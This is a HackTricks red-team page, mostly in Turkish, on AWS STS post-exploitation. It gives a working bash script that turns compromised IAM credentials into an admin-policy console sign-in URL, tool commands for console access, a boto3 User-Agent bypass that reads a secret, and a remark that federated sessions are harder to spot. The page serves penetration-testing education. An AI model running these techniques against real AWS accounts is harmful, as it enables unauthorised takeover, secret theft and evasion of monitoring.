AWS - STS Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

STS

For more information:

AWS - IAM, Identity Center & SSO Enum

From IAM Creds to Console

Eğer bazı IAM kimlik bilgilerini elde etmeyi başardıysanız, aşağıdaki araçları kullanarak web console’a erişmek isteyebilirsiniz.
Not: kullanıcı/rolün sts:GetFederationToken iznine sahip olması gerekir.

Custom script

Aşağıdaki script, varsayılan profile ve varsayılan bir AWS lokasyonunu (gov ve cn değil) kullanarak web console’a giriş yapmak için kullanabileceğiniz imzalı bir URL verecektir:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)


# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

https://github.com/NetSPI/aws_consoler ile web konsolu bağlantısı oluşturabilirsiniz.

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

Warning

IAM kullanıcısının sts:GetFederationToken iznine sahip olduğundan emin olun veya devralınacak bir rol sağlayın.

aws-vault

aws-vault geliştirme ortamında AWS kimlik bilgilerini güvenli bir şekilde saklamak ve erişmek için bir araçtır.

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

Note

Ayrıca aws-vault kullanarak bir tarayıcı konsol oturumu da elde edebilirsiniz

Web Console’dan IAM Creds’e

Tarayıcı uzantısı https://github.com/AI-redteam/clier, ağ üzerinden IAM credentials’lerini tarayıcının belleğinde korunmadan önce yakalayabilir.

Python’dan User-Agent kısıtlamalarını bypass etme

Belirli işlemlerin kullanılan User-Agent’e göre kısıtlandığı durumlarda (ör. User-Agent’e göre python boto3 library kullanımını kısıtlama), önceki tekniği kullanarak bir browser aracılığıyla web console’a bağlanabilir veya boto3 user-agent’ını doğrudan şu şekilde değiştirebilirsiniz:

# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")

# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )

# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])

sts:GetFederationToken

Bu izin ile, bunu çalıştıran kullanıcı için, o kullanıcının sahip olduğu izinlerle sınırlı bir federe kimlik oluşturulabilir.

aws sts get-federation-token --name <username>

sts:GetFederationToken tarafından döndürülen token, çağıran kullanıcının federated identity’sine aittir ancak sınırlı izinlere sahiptir. Kullanıcının administrator hakları olsa bile, IAM kullanıcılarını listeleme veya politika iliştirme gibi bazı işlemler federated token ile gerçekleştirilemez.

Ayrıca bu yöntem bir ölçüde daha gizlidir; federated user AWS Portal’da görünmez, yalnızca CloudTrail logları veya izleme araçları aracılığıyla gözlemlenebilir.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin